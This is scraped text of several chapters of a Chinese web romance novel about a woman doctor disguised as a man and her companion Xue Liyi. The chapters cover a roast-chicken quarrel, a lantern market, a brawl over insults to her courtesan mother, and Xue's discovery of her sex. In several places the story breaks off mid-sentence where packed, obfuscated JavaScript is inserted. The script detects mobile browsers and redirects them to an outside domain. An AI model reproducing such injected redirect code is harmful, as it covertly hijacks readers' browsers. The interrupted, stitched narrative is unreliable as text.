“吃掉了。” 他说。 回答她的时候,就像是在回答“饭吃了没”这种问题。 “……?”晏阿音呆了。 “薛荔衣。”晏阿音叫他的名字。 薛荔衣应了一声,瞧着她越来越狰狞的脸色,安慰她似的笑道:“我在。” “薛荔衣你完了你居然吃了我的烤鸡!!!还敢这么得瑟!!!我要把你揍成红烧旋转滑翔大猪头让你在客云河上飞漂一百八十里!!!” 晏阿音怒气冲冲地朝他扑过去,狠狠压在薛荔衣的身上。 她也不管其他了,手脚并用,手抡成拳头往薛荔衣俊俏的脸上挥舞,使了全身的劲势必今晚要和薛荔衣决一死战。 然而男女体力相差悬殊,薛荔衣一开始还笑眯眯的一动不动,等到她在他身上扑腾了会儿,他才挑了挑眉,腾出一只手将她两只手反剪在后面。 三两下轻而易举把她压在了身下。 晏阿音:“……” “乖,不许打人。”他含笑。 薛荔衣见她的神情从恼怒化成不甘,便松了钳制她的手。晏阿音爬了起来,可蹲在地上之后就不动了。 薛荔衣瞅了她一眼。 过了片刻,晏阿音慢吞吞地往外挪了挪脚,蹲在门槛外面,抱着膝盖,背对着他一声不吭。 薛荔衣似乎听见她吸鼻子的声音。她低着头,整个人缩成小小的一团,小发雷霆地骂道: “我的烤鸡,呜呜呜,王八蛋,死王八蛋,臭王八蛋。” 她方才回来的路上高高兴兴,走路都是飘的,就想着回来有烧鸡吃呢,谁知道薛荔衣这个臭王八蛋把她烤好的鸡全吃了。那她吃什么?她还饿着肚子呢。 晏阿音越想越委屈,手在地上画圈圈,用沙子画出一个丑不拉几的薛荔衣,然后一脚把沙子踹散,就当是把薛荔衣踹飞了。 身后似乎有翻动火堆的声音,但晏阿音没注意。 不知道过了多久,等到晏阿音准备第三次把丑得人神共愤的沙人薛荔衣踹飞时,旁边似乎有什么被推到了她的斜侧方。 晏阿音正生着气呢,侧头看过去,忽地便愣了。 只见,荷叶上面是被叠成小山一样被烤得色泽鲜亮的鸡肉,几乎都是肉多的部位,鸡腿、鸡翅膀、鸡胸。鸡皮被烤得焦黄,色泽油亮还冒着热气,色香味俱全,一眼望去叫人食指大动,一看就知道才从荷叶里拆出来。 晏阿音愣在原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940463|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地,呆呆地抬头看薛荔衣。 他站在旁边,眼睫淡淡,斜睨着她:“刚才骗你的。你先前佐料加的不够多,味道淡了,我又加了些苏子叶,用荷叶包了重新烤了,刚刚时辰才到,你尝尝味道吧。” 晏阿音低头看向面前的荷叶烧鸡,忍不住捡起一个鸡腿咬了一口。 荷叶鸡烤的火候正正好,显然是经过薛荔衣的处理变得更好吃了。表皮焦酥肉质鲜嫩,油而不腻,咬下去汁水在口中炸开,鲜香细嫩,肉质一点都不柴,咽下去,饥饿的肚腹立刻就被安抚得熨熨帖帖了。 晏阿音吃得心满意足。 薛荔衣轻笑了声,这才走回去,在破屋门旁边躺下,闭上眼睛睡觉。 晏阿音吃饱了,摸着圆溜溜的肚子,觉得满足了。 她瞥了薛荔衣一眼,把荷叶上剩下的另一个鸡腿推到他旁边,然后用脚戳了戳他的腿,叫道: “喂,薛荔衣。” 薛荔衣没动,也没睁开眼睛,淡淡道:“做什么。” 晏阿音佯装不在乎道:“给你留的,你刚才就吃了个鸡头,其他什么都没吃吧?” 薛荔衣:“我不饿。” 晏阿音立刻命令:“给我吃了!” 薛荔衣听见她中气不足的咆哮声,好笑地瞥了她一眼,倒真的把鸡腿吃了。 他吃东西很优雅,不像她狼吞虎咽,动作粗鲁。 晏阿音觉得他吃东西的优雅戳伤了她的自尊心,不满地扭头,宁愿去看天上的月亮,也不想看着他。 没多久,薛荔衣忽然低声道:“方才鸡没烤熟,吃了会拉肚子,知道不?” 晏阿音知道他说的是真的。 但她梗着脖子不吭声。 只是努力地抬头看月亮,好像这样就听不见。 薛荔衣幽幽地道:“就你这种生存技能,要是有一天我不在,你得怎么办。” 晏阿音随意地瞥他一眼:“咋的,你要走啊?” “我是说如果。” 晏阿音不屑地道:“不就是烤个鸡么,我又不是离了你就不行,别把自己看那么重要,忒自恋了。” 她坐在门边撇嘴碎碎念。 薛荔衣看着她的侧颜,懒洋洋的没说话。 晏阿音看着远方,动了动嘴皮子继续念叨,半晌,说累了,打了个呵欠,麻溜背对着他躺下睡觉。 一夜过去。 第二日,晨曦微露。 薛荔衣早早便醒了,借着溪水简单洗漱了下:“走吧,我们叫车回客云。” 晏阿音没睡够,睡眼惺忪地爬起来,嘀咕道:“叫车?你睡一晚上睡傻了啊,我们没银子,怎么搭车?” 薛荔衣:“谁说我没银子,我有啊。” “……?” 晏阿音迟缓地抬起头看他。 薛荔衣见她不说话,挑眉道:“你这是什么眼神,别这样看我,我会误会你爱上我了。” 晏阿音反应过来,大喝一声: “薛,荔,衣!” “有银子你不早说!!!害我露天睡一晚上,你完蛋了!!!” 18. 第 18 章 薛荔衣灵活地躲开,十分纯情十分无辜:“我可从来没说我身上没银子。” 晏阿音想起来,他确实没说过。 昨日她问他是否有钱的时候,他只是反问她,她给过他银子吗。 但当时她没有追问,只是自然而然以为他没有银子了。 这家伙。 啊啊啊啊啊啊。 晏阿音双目喷火:“薛荔衣,你这只狡猾的臭狐狸。” “别生气了,臭狐狸请你搭车回客云,行不行?”薛荔衣笑眯眯道。 晏阿音臭着脸瞪他。 薛荔衣叫来一辆马车,他们坐进车里后,车夫便驾驶着马车,辘辘的车轮滚动声中,马车驶向客云。 一路上,途径看到很多山景。 远处山脉层林浸染,归鸟穿梭,不知不觉间,秋意已经浓了。 车夫说道:“江南的秋天这才刚来,北方却早已下雪咯!” 晏阿音不禁呢喃着说道:“雪啊……长这么大,我还没见过雪呢。” 车夫爽朗笑道:“去京城看看吧,京城的雪景可美了,小大夫,人这一生不去京城一遭,白来人间一趟啊。” 晏阿音瞥薛荔衣:“你见过京城的雪景没有?” 薛荔衣闭目养神:“没见过。” 晏阿音不知道为什么觉得他没说实话,捏了他一下:“说实话。” 薛荔衣疼得轻嘶一声:“见过了,怎么的。” 晏阿音笑眯眯道:“以后也带我去见识见识。” 薛荔衣幽幽地瞥她一眼。 晏阿音怒其不争地催促:“快说好啊。” 薛荔衣:“……” 回到客云的时候,已经是傍晚了,车夫看着逐渐点亮的街道灯笼,笑说道:“巧了,今天晚上有灯笼冬市,二位公子可以去玩玩,听说有很多有趣的玩意。” 晏阿音眼睛放光:“我知道,客云有迎冬的习俗。” “只是听说?你不是客云人吗,没参加过?”薛荔衣不咸不淡地看她。 晏阿音登时呆了一下,立刻掩饰地移开视线,故作玄虚道:“我这种人嘛……身为一个隐士高人大夫,那肯定是平时不爱去凑热闹,所以没去过。” “……” 这也能给自己脸上贴金。 薛荔衣瞥她一眼:“那今晚去看看。” 说着,拉着晏阿音下了马车,走入人群中。 夜色降临。 今夜的风喧嚣,狭窄的街道人头攒动,两侧店铺灯火辉煌,卖花灯的小贩挑着五彩斑斓的花灯,灯上绘着花鸟虫鱼。晏阿音看似并不喜欢,可眼神却总是往灯上飘,每次要被发现了,赶紧移开视线。 薛荔衣看出她的心思,想笑:“喜欢灯?去猜灯谜啊。” 晏阿音看他一眼,哼了声。“你觉得我猜不中是不是?看不起谁啊。” 说着,阔步昂首走到猜灯谜的摊子。 附近已经围了不少人,大家都在绞尽脑汁地思考灯谜。 摊主说:“各位看官,这灯谜可有趣得很,猜对了便有奖品啊。” “听好了,”摊主清了清嗓子,挑了一个花灯,念出纸条,“弯弯藤儿架上爬,串串珍珠上边挂。打一果子。” 晏阿音眼神一亮,道:“葡萄。” 摊主看向她,见她是个清秀的小大夫打扮,笑道:“这位小公子长得很清秀啊,恭喜这位小公子答对了。” 摊主把花灯递给她,晏阿音喜不自胜地接过,抱着绘画着古琴纹样的花灯,很是喜爱。 薛荔衣站在旁边瞥她:“一个花灯而已,这么开心?” 晏阿音哼了一声:“这可是我赢到的,和买到的意义可不一样,你赢得了吗?” 薛荔衣挑挑眉,不说话。 忽然,一阵芝麻花生的香气飘了过来。 晏阿音把灯笼一把塞给薛荔衣,循着香味跑过去,看见一个摊主在卖小碗糖水,里头有水果、花生、芝麻、甜稞点缀。 “秋天特供,滋味甜蜜,欢迎各位俊男靓女来购买啊。” 摊主一边说着,把两杯两杯摆在一起。 晏阿音觉得有些奇怪,但开口说道:“老板,给我们来两份。” “好嘞。” 摊主头都没抬就应和了声,正准备装碗,抬头一看他们,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们慢慢走在客云城的街道上,看着头顶摇曳的灯笼,周遭经过的说笑的路人,虽然一言不发,却都觉得此时此景很是悠闲惬意。 晏阿音抱着糖水咕噜咕噜地喝,薛荔衣时不时瞥她一眼,懒洋洋地笑。 他们经过一家客栈外时,晏阿音发现一家摊子有卖各种中药香囊,药囊散发着淡淡药香,忍不住驻足留下来看。 倏然,也就在她仔细挑选着药囊的时候,耳边听见客栈里传来聊天的声音。 “……” “春风楼新来的伎子,听说长得很美?” “不管长得多美,也比不上当年那个烟宁,想当年,烟宁凭空出世的时候,容貌那长得可是一绝啊,到如今也没人比得上她。” “长得再漂亮又如何,也不过是千人作弄的玩意。” 晏阿音挑选药囊的手猛地停住。 里头的聊天还在继续。 “哟,你可别说,烟宁当年可贞烈了,只肯卖艺不卖身,还差点被老鸨打死呢。” “那么贞烈有什么用,不还是早早就死了?听说是不是被玩死的?” “不过听说她还伺候过皇上呢,真是值了……” 晏阿音的笑容以肉眼可见的速度消失了。 薛荔衣察觉到她的异常,皱眉问道:“怎么了?” 晏阿音没有回答,只是把手上的糖水塞给他。 “帮我拿一下。” 薛荔衣倒也没拒绝,顺从地接了。 没想到下一秒,晏阿音扭头就疾步走进了客栈里。 她一边走一边大喝道:“是谁说话?给我滚出来!” 薛荔衣愣了愣,倒是没想到她如此反应,立刻跟进了客栈,却看见晏阿音直奔说话的人而去,走到那男子面前,一把他扯翻到了地上。 她盯着男子,阴沉沉地威胁道: “你方才说什么,你再说一遍?” 那男子冷不丁直接摔到地上,也懵了一瞬,很快怒上心头,看着晏阿音大叫道:“哪里冲出来的臭小子,给爷放手!信不信爷斩了你的狗头!” 晏阿音不管不理,直接和男子扭打在一起。 她身形比男子小多了,却丝毫不落下风,每一次出手都是精准稳狠:踢、抓、咬、撕、扯……那男人几乎感觉和自己扭打在一起的根本不是个清瘦的小大夫,而是一头狼。 不要命的疯狼! 这边起了动静,旁边立刻围观了一堆人。 有人看出站在晏阿音身后不远处的薛荔衣是和她一道的,不由问道:“兄台,这是什么情况,你朋友怎么……你也不劝劝她?” 薛荔衣看着情绪失控的晏阿音,思索一瞬,却笑眯眯地道:“既然是朋友,她要做什么我当然支持,她要是打不过了,我再帮她不迟。” 路人呆住:“啊?” 好吧。 在下多嘴了。 “哪来的疯子,给我松手!再不松手我就报官了!” 男子被晏阿音打怕了,色厉内荏地扯着嗓门叫,一边气急败坏地向周围的人求助:“快来帮我啊,这疯子打我,你们看不见吗!” 店小二吓得过来劝架,可晏阿音似乎铁了心要揍人,根本不听劝,一下一下往男子身上抡,疯了一样地说:“我让你污蔑烟宁,我让你出言不逊!你再说啊,你说啊!” 没多久,官兵来了,一窝蜂涌进了客栈,带头的竟然是县令大人。 “有人报官,到底发生何事?”县令威严地道。 四周顿时安静下来,无数个围观的路人,以及店里的食客都乖觉缄默地不敢动弹了。 晏阿音打累了,也便松开了手,气喘吁吁地站住,男子立刻像一滩烂泥一样倒在地上,眼冒金星。晏阿音握着拳头站在原地,脸色十分冰冷。她的头发在和男子扭打的过程中散了,乱七八糟的披散下来像个鸡窝头。 县令上前一步,喝道:“你这男子,当街行凶是何居心?” 晏阿音还没说话,却是薛荔衣神色清朗,先走到县令面前,笑道:“汤大人,您先别急着下定论。您该理清一下事情经过,再做决定。事情是这男子出言不逊侮辱人在先,我朋友气不过,所以才出手治理人的。” 县令一愣:“原来是这样?” 薛荔衣处变不惊地抬了抬手:“自然。这里这么多人,我们总不能信口雌黄,您大可问一问周围的人。” 县令看向四周的百姓,征询他们的看法,百姓们见薛荔衣坦坦荡荡,光明磊落,再加上方才确实是这男子言语侮辱在先,百姓们纷纷为晏阿音说话:“没错,就是地上这个男人先出言不逊,所以这位侠士才教训他的。” “此人言辞粗鄙,骂人的那几句话,说的实在难听。” “那么难听的话,换成我也听不下去啊……” “换成我,我也要揍人!” 甚至有人还说:“打得好啊!” “真解气……” “没错!” 县令听了这些话,陷入沉思。 那男子挨了一顿打,见晏阿音竟然还可能逃过罪责,立刻急了,爬到县令面前,抓住他的衣摆哭哭啼啼:“县令大人,苍天可鉴,我就坐这儿吃酒聊天,平白挨一顿打,您非得把这臭小子抓起来不可啊!” 县令犹豫不决,眉头皱得能夹死一只苍蝇。 薛荔衣不语,风轻云淡地站在一旁,周身的气度却让人无法忽视。 县令忍不住看向薛荔衣,电光石火间忽觉得此人有些眼熟,试探着问道:“这位公子,你可是我们本地人?” 薛荔衣淡淡笑了下,道:“汤大人,我是不是本地人,和这件事情并无干系吧。” 县令见他说话间气度不凡,心中沉思一瞬,愈发笃定了自己的猜测。 又环绕周围一圈,见那些百姓对男子指指点点,愤愤不平,心中也有了大概的判断。 县令命令道:“把他带走。” 官兵们团团把地上的男子围住,反剪双手,扣押起来。 男子难以置信,愤怒地大喊道:“县令大人,明明是她打人,为何抓我,我不服!” 县令哼了声道:“本朝民风和煦,你随意在公共场合污蔑辱骂其他女子,有扰他人声誉,是为扰乱民生,本官现将你扣押十日,以示惩戒,本官的判决不容质疑。带走!” 男子被官兵强行押了出去,喊叫声逐渐远去了。 县令看向薛荔衣,客气问道:“敢问公子贵姓?” 薛荔衣只笑道:“鄙人贱名不值一提,今日多谢汤大人秉公处理此事,我和我朋友在此多谢汤大人了。” 县令是个知情知趣的人,知道薛荔衣不想透露名姓,倒也没有勉强,点点头,带着官兵离开了。 人都散去了。 看热闹的百姓也离开了。 薛荔衣瞥了晏阿音一眼,扬眉道:“我们也走吧。” 晏阿音这才动弹了下。 她看了薛荔衣一眼,飞快地垂下视线,看着别处,什么也不说,抿着唇跟他走出客栈。 他们两个人若无其事地走在大街上。 一切好像和方才一模一样。 可似乎又完全不一样了。 晏阿音憋了一肚子的话想说,却说不出口,只能咽回去。 迎面而来的秋风把她乱七八糟的头发吹得向后飞,晏阿音抬手拨了拨,眼神这边停留一会儿,那边停留一会儿,不知道该落在哪里。 好半天,她才闷闷地憋出一句:“刚、刚才的事情,多谢你了。” 薛荔衣唇边含笑:“谢什么?” 臭家伙,明知故问。 一缕头发很煞风景地飞到脸上,晏阿音郁闷地抓下来,好半天,又低声说道:“你就没什么要问我的吗?” 比如,她为什么突然情绪失控,又比如,她为什么毫无预兆地揍人。 这和她平日的作风太不一样了。 薛荔衣欣赏着夜空,懒洋洋地反问道:“我应该有什么要问你吗?” “……” 他还当真如此心大。 晏阿音叹了口气,忽然停住脚步,不再往前走了。 薛荔衣也停下来,侧头看她。 晏阿音看着别处,握紧了拳头说道:“你应该问我,烟宁是谁?我为什么会因为听见有人说她的坏话,就不顾后果地去教训那个人?” 薛荔衣只是轻笑:“你若不想说,我便不想知道。” 夜里凉风习习,空气中微微带了些冷意。晏阿音深吸了口清冽的风,抬起头,看见街道半空的灯笼微微地摇晃着,泛着柔和的暖色光芒。 她沉默了许久,终于开口,缓缓说道:“烟宁……是我娘。” 这句话本该是极其让人诧异的。 可薛荔衣看着她,并没有震惊的神色,只是愣了一瞬,片刻后,便轻轻笑开了。 “嗯。”他低沉的嗓音说道。 知道了。 晏阿音皱眉说:“你还是没有要问我的吗?” “没有。”薛荔衣微笑道,“每个人都有娘,这有什么奇怪的。” “……” 晏阿音低下头,声音不由自主的低了:“可我娘,是卖笑的伎子。” 薛荔衣淡淡地说道:“那又如何。只要为人正直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940465|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,品性善良,便无愧于天地。生计只是为了混口饭吃,没有贵贱之分。” 晏阿音一震,抬起头呆呆地看着他。 薛荔衣见她发呆,挑了挑眉,好笑:“怎么,觉得我说的太好,忍不住要爱上我了?” “……” “呸呸呸,谁爱上你了。” 晏阿音当即瞪圆眼睛,大唾一声。 薛荔衣开怀地笑起来,“没有就好。” 他缓步向前,与她一同并肩而行,浑身上下依旧是随意的松散劲儿。 银盘似的月挂在半空,他看了一眼,随口道:“不知不觉,竟也到月中了。” 晏阿音抓了抓头发,叹息道:“是啊,今日是十月十五了吧?快入冬了……” 薛荔衣忽然问:“你生辰是什么时候?” 晏阿音一呆,眼神往旁边飘:“你问这个做什么。” 薛荔衣慢悠悠地道:“不知道是谁,前几日晚上做梦说要吃生辰大餐。” 什么。 她做梦说梦话了? 她还说了什么?没说什么不能说的吧? 晏阿音立刻警觉得像只兔子:“你怎么听见的?”他们又不睡一个屋子。 薛荔衣打了个呵欠:“夜里解手,路过听到的,不行么?你难道没夜里起来过?” “我睡觉可老实了,一闭眼就能睡到天亮。” 薛荔衣道:“是你太虚了吧。” 晏阿音:“?” 什么玩意! 她虎目圆睁:“人说话可要有依据,不能乱说!你说谁虚呢!” 薛荔衣垂眼瞧着她,唇角微勾:“我不仅夜里起身,我还夜里……血气方刚罢了,太正常不过的事情。可我瞧你,似乎和我很不一样。” 他说着,微微附身到她面前,低声道:“我可不相信,像你这种年纪的小伙子,能够如此清心寡欲,丝毫不想要女人。” 他这话说的极其直白,晏阿音俊俏的小脸立刻爆红。 她结巴起来: “你你你你……你这是说的什么话,也不害臊!你话里这意思,是去找女人了?那你要找,便去外边找去,同我说什么?反正我是不可能和你一起同流合污的……走开走开。” 薛荔衣唇边噙着笑:“我没找女人。” 他顿了顿,忽然再次靠近她:“可我对着你,似乎总有些不一样的感觉,你说这是为什么呢?” “嗯……晏大夫?” 他的嗓音低了下来,含笑凝视着她。 晏阿音呆住,看着近在咫尺的薛荔衣,浑身的汗毛都要警觉地竖起来了。 不是。 他这话什么意思??? 他、他对她有感觉??? 啊啊啊啊啊啊。 什么玩意! 晏阿音艰难地吐出一个字:“你、你……” 薛荔衣欣赏着她的僵硬,继续好整以暇地说道:“可我自认,并不是断袖呢,晏大夫,不然你给我治一治?” 这怎么治? 晏阿音感觉自己要裂开了。 薛荔衣见她呆在原地毫无反应,抬手,轻轻将她脸上的发丝拂开,“怎么,难道你不愿意么……” 当他带着热意的指腹触碰到脸颊的一瞬间,晏阿音立刻宛如被雷劈了一般倒退一步,像刺猬一样防备起来。 “你你你,君子动口不动手,不许碰我!” 薛荔衣道:“我又不是君子。” “……” 她怎么把这茬给忘了,这人就是个变态!她居然还妄想着和他讲道理,真是昏头了! 晏阿音顶着通红的脸,扭头大步就走,步伐跟刮风似的。 薛荔衣见她气急败坏地走开,站在原地大笑出了声。 晏阿音听着他的笑声,恼怒跺脚,回头道:“闭嘴,别笑了,不许笑了!” 薛荔衣笑了会儿,方慢慢止住。 “好,不笑了。” 他以手抵拳咳了声,唇角微勾。 “不笑了,那你嘴角扬这么高是做什么?”晏阿音走回来,盯着他质问。一副想把他的脸皮扯下来的模样。 薛荔衣道:“我也不懂,晏大夫给我治治吧?我这段时日总控制不了自己,可真是难受……” 他慢悠悠两步靠近她面前,拉起她的手。 晏阿音还没反应过来,他已将她的手放至心口。 耳边只听得他好听的声音悠悠道: “我此刻,心便跳得极快,你听听,像是染了什么病?” “我这人怕死的很,晏大夫,你看看我这情况,是否有药可医?” 20. 第 20 章 晏阿音触碰到他胸口的手,宛如被滚火烫了一般,顷刻间缩了回来。 她震惊地倒退一步,看着他含笑的神色,一时间不知所措,呢喃了两句:“我、我……” 话还没说完,她已丢盔弃甲般扭头就跑。 薛荔衣也没追过去,只是站在人流如潮的街道中,看着她害怕而去越来越远的背影,眼中雾霭翻涌。 晏阿音回医馆去了,但今夜他却不想这样早回去。 薛荔衣环顾四周,提步朝附近的一家酒楼走去。 来福酒楼外旌旗飞扬,描红的匾额下,一波接一波的客人进了酒楼,一波接一波的客人喝得醉醺醺,扶墙而出。门口的店小二看见薛荔衣,热情地招揽道:“这位公子里面请,可要上二楼雅间?还是就在一楼就坐,边喝酒边赏舞?” 薛荔衣淡淡道:“一楼吧。” 他不想一个人独自在房间里喝酒。 如今的他已适应了世俗的烟火气,再不是当年那个孤僻的贵公子了。从前外出喝酒,总喜欢上雅间,不爱旁人打扰,可如今他却更爱这种喧嚣吵闹的氛围。有人气儿的感觉,一点也不孤独。 店小二给薛荔衣在一楼找了个较为安静的酒桌,又恰好可以看到看台中央,视野很好。薛荔衣叫了几坛酒,自斟自饮。 旁边的酒桌有人在猜拳,有人喝得兴奋起来,拉着朋友大聊特聊。 “我同你说,这里的女儿红已经是客云最好的品质了,可还是不如京城富春酒楼的女儿红……嗝,有朝一日啊,我从京城给你们带几坛,让你们也品尝一下京城老字号酒的味道……” 说话之人的同桌酒客纷纷道:“好,你可要说话算话啊。” “京城还有什么好酒?” “别只带女儿红,也带些这儿喝不到的回来,给我们尝尝啊!” 那喝得醉醺醺的酒客摇头晃脑道:“我想想,京城啊,还有那什么……流霞醉啊,兰亭酿啊……都好喝着呢,啧,那滋味儿……” 几个人说到兴头上,碰杯而饮。 醉醺醺的酒客一扭头,看见旁边角落里独自饮酒赏舞的薛荔衣,又见他桌上摆着几坛酒,笑道:“兄弟,识货啊!点的都是这儿最好的酒。”忍不住吹牛道,“今日大家同在一家酒楼喝酒,便都是缘分,兄弟,到时我从京城带回了好酒,也带你一起喝啊!” 薛荔衣微笑着举杯,遥遥一敬:“多谢,不必了。” 兴头被扫了,那酒客有些不大高兴,“那可是京城的好酒,不知比这里的酒好喝多少,你还瞧不上呢?那什么流霞醉,酿玉露,可都是仙品……” 薛荔衣沉默片刻,笑道:“富春酒楼的酒,的确滋味不错,可我总觉得,这里的酒更有人间的味道。” 他想起从前在京城喝的酒,总是寡淡,就算再烈再呛,好似一口就要将人醉倒,喝进肚里却总觉得空。 可如今,在这样一个小城镇,他却喝到了最有滋味的酒。 为什么呢? 薛荔衣注视着远处,轻笑着饮了一杯。 时辰渐晚,看台上的歌舞换了一批又一批,酒客也逐渐少了,薛荔衣喝完酒,起身离开,离去前,又给店小二打赏了银子。 “多谢公子,多谢公子。”店小二喜不自胜地道谢,待到细看手里的银子,眼都直了,以为自己看错了。 他可是第一回碰到打赏这么多的客人! “公子,下次千万要再来我们酒楼喝酒啊。”店小二把白巾一甩,乐颠颠地跑到酒楼门口挥手。 薛荔衣一路步行回去药馆时,看见大安躺在门内的躺椅上呼呼大睡。 大安睡得正香,没察觉有人回来,舒服地砸了咂嘴,翻个身继续睡觉,鼾声一阵接着一阵。 薛荔衣早已司空见惯,随意地绕过他往里走去。 经过晏阿音的房间外时,他却忽然听见了什么声音。 “娘……” 这声低低的呓语,隐约还带着哭腔。 他的脚步一顿,侧头朝晏阿音的房间看去。她房间的木门并未闭紧,留了一条缝隙,偶尔夜风吹过,房门便会轻轻地晃一下。 薛荔衣沉默片刻,提步欲走,可下一刻,他却听见房间里“咚”的一声,传来什么重物砸到地上的声音。 他大步推门进去,待看到屋中情形,愣了一下。 月色倾泄下来,只见原本躺在床上的晏阿音无意识地滚到了地上,此刻一动不动,不知是摔晕了,还是没知觉了。 薛荔衣过去把她抱起来,辨认出晏阿音居然也没摔醒,还在睡觉,无奈了一瞬。 他正要把她抱回床上去,谁料下一刻晏阿音竟抓住了他的衣襟,脑袋往他怀里埋去,一边还哭哭啼啼道:“呜呜呜,娘……” 他的动作停顿住。 继而,他无奈一叹,放轻了些动作,把她抱到床上躺着。 当正要给她盖被子,收回手时,却发现自己手上多了什么痕迹。 他抬起手,发现掌心赫然一抹血迹。 血?她受伤了? 是在回来的时候受的伤? 怎么弄的? 薛荔衣的眉头皱起,立刻借着月色查看她的身上。肩膀、手臂并无伤处……当他的手不经意从她小腹位置划过,他忽然微凝了眉眼。 某处,她似乎,和他并不一样。 薛荔衣坐在晏阿音身边,回想着方才手上的触感,最后,目光落到自己掌心的血迹。 他沉默着,心中有什么猜测浮出水面。 晏阿音不大舒服,睡梦中也觉得肚子疼,隐约觉得“娘”好像抱住了自己,可此刻不知为何,却又撒手不抱她了。她有些不大高兴,想跟娘撒撒娇让娘再抱着自己,于是磨磨蹭蹭地往“娘”的怀里钻。 等到自己被人抱进一个坚实的臂弯里,她才满足地呼出口气,进入安稳的梦乡。 可睡着睡着,她感觉出了不对。 娘的怀抱怎么会“坚实”?娘应该是香香的,柔软的啊。晏阿音浑身如被雷劈一般震了一下,当即睡意飞出九霄云外去,眼睛都没睁开,身体已经一把推开抱着自己的人,在床上坐起来。 薛荔衣盯着她。 黑暗中,晏阿音昏沉地睁开眼睛,视野还未适应黑暗,只在漆黑中看到了一道颀长身影,片刻,等她定睛一看,却发现此人是薛荔衣。 怎么又是他? 啊啊啊啊啊! 晏阿音也顾不上肚子疼了,一把拉起地上的被子裹住自己,惊恐万分地往后退去。 “你你你……” “你进我房间做什么?” 薛荔衣并未动弹,只是扬了扬眉,“你说呢?” 晏阿音的视线向下,终于借着月光看清他手上的血迹。她瞳孔渐渐缩起,那是…… 肚子隐隐作痛,晏阿音自然熟悉这是为什么,可等她意识到发生了什么,脸色刹那间白了。迎着薛荔衣的注视,她哆哆嗦嗦,一句话也说不出来,跳下床,什么都顾不上地往外跑去了。 薛荔衣坐在她床边,没有追出去,只是看着门外,轻轻呵笑一声。 * 晏阿音一直到第二日傍晚都没回来。 天色渐暗,晚霞消弭。 大安惆怅地站在药馆门口眺望:“大哥去哪了啊?怎么今日从早到晚都没见到大哥啊,大哥不是丢下我跑了吧。” 说完,一屁股坐在天井底下,悲从中来地擦眼泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她抬起眼,见薛荔衣闲闲地坐在桌子旁,手里还端着一杯茶轻轻摇晃。 她人有些麻,想到昨夜的事情,只想仰头晕过去算了。 终究还是心虚。 晏阿音不着痕迹地转过身,想趁着薛荔衣没说话之前,偷偷溜走。 身后忽然又飘来一句:“怎么,现在不敢见我了?往日老虎般的胆气呢?” 晏阿音暗暗咬住牙。 扭头瞪他。 “谁不敢见你了?难道你是什么大人物不成?” 她说的气势十足,可眼神仍是有些躲闪。 “我?我自然不是什么大人物。” 薛荔衣随口说着,随手轻轻搁下茶杯,起身下了台阶,朝她走来。 晏阿音吓得连忙退后,浑身汗毛都竖起来了。 薛荔衣走到门口,抬手将木门合上。 不是……他关门做什么? 晏阿音惊恐地盯着他,像只炸毛的兔子,又倒退一步,圆溜溜的眼睛四处看,寻找可以逃跑的地方,愈发警惕了。 “现在可以说了吧?”薛荔衣好整以暇地看着她。 “要说、说什么?” 晏阿音不想屈服,梗着脖子道。 薛荔衣缓缓朝她走来,颀长的身影逼近了她。 “难道,你不需要向我解释一下,昨夜的事情么?” “昨夜什么事情?”晏阿音结巴了下,“不、不就是我做了噩梦脑子不清醒,把你当做了我娘么,这还要问?” 薛荔衣嗯了声,“还有呢?” “还有什么?没……没了!” 薛荔衣不语,只是盯着她,朝她走近一步,此时此刻他们之间贴得极近,呼吸几乎可闻,晏阿音吓得再后退一步,谁料背后就是围墙,她贴着冰冷的墙角,避无可避,像只害怕的兔子一样哆嗦起来。 “你、你你你……你走开,不然我报官了!” 21. 第 21 章 还嘴硬。 薛荔衣眼中沉沉,嗤了一声,将她逼至整个人都贴上墙壁。 他凑近她的脸。 一字一顿地问道:“你是男人?” 晏阿音想起昨夜的事情,只觉得天旋地转。 懊悔、害怕、慌乱一股脑儿都通通涌上了心头,手也不自觉地哆嗦起来,不知是心虚所致,还是被眼前如高山般沉沉压迫的男人所震慑而致。 “我、我我……” 她迟疑地结巴着,六神无主。 薛荔衣盯着她心虚颤动的眼睫,面无表情地道:“我可从未见过,会来癸水的男人。” 当癸水二字从他的口中缓缓吐出,带着好听的低沉,晏阿音心中便只剩下了空空荡荡的二字。 完了。 她女扮男装的事情,不保了。 晏阿音觉得自己可以原地撅过去了。 她现在的脸色肯定比哭还难看。 晏阿音很想原地挖个地洞钻进去。 想当初,她是如何和薛荔衣耀武扬威,嘲笑他不如自己“男人”;她是如何捉弄薛荔衣,让他叫自己“大哥”;她是如何信誓旦旦地保证她是个货真价实的男人…… 到如今,全变成了打到自己脸上的一巴掌。 